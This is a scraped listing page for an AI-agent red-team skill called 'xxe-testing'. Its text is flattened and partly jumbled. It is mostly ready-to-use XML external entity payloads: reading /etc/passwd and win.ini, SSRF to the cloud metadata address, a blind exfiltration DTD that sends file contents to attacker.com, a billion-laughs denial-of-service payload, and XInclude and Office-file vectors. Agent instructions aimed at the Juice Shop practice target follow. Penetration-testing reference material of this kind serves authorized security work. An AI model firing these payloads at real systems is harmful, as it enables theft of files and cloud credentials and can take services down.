一键导入
xxe-testing
XML external entity injection for file read, SSRF, and DoS
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
菜单
XML external entity injection for file read, SSRF, and DoS
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
基于 SOC 职业分类
Business logic vulnerability detection — workflow bypass, price manipulation, state abuse, and application-specific flaws
Detect PII, credentials, and corporate sensitive data in API responses, source code, files, headers, and database extracts
Detect and exploit SQL injection vulnerabilities in web application parameters
Test for authentication and authorization flaws including credential attacks, session issues, and access control bypasses
Detect and exploit cross-site scripting vulnerabilities in web applications
Discover hidden parameters, test values, and identify input handling anomalies
| name | xxe-testing |
| description | XML external entity injection for file read, SSRF, and DoS |
| origin | RedteamOpencode |
application/xml or text/xml acceptedrun_tool curl (send crafted XML)Content-Type: application/json to application/xml — test if acceptedxml <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root> file:///C:/windows/win.iniphp://filter/convert.base64-encode/resource=/etc/passwdfile:///etc/ (may work on some parsers)<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">http://localhost:8080/, http://internal-host/xml <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe; ]> evil.dtd):
xml <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?d=%file;'>"> %eval; %exfil; xml <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> /dev/random or large file<?xml version="1.0" encoding="UTF-16"?><xi:include xmlns:xi="http://www.w3.org/2001/XInclude" parse="text" href="file:///etc/passwd"/>[Content_Types].xml or embedded XML partsxl/sharedStrings.xmlWhen Juice Shop exposes XML-capable routes or file upload/download flows, do one bounded XXE recall pass before closing the case:
Content-Type: application/xml switch on API endpoints already accepting JSON
only after confirming it stays within the normal 1-2 representative probe budget.XXE Data Access; if parser
behavior is unclear, return REQUEUE with the exact XML-capable endpoint/file consumer
rather than marking the family exhausted.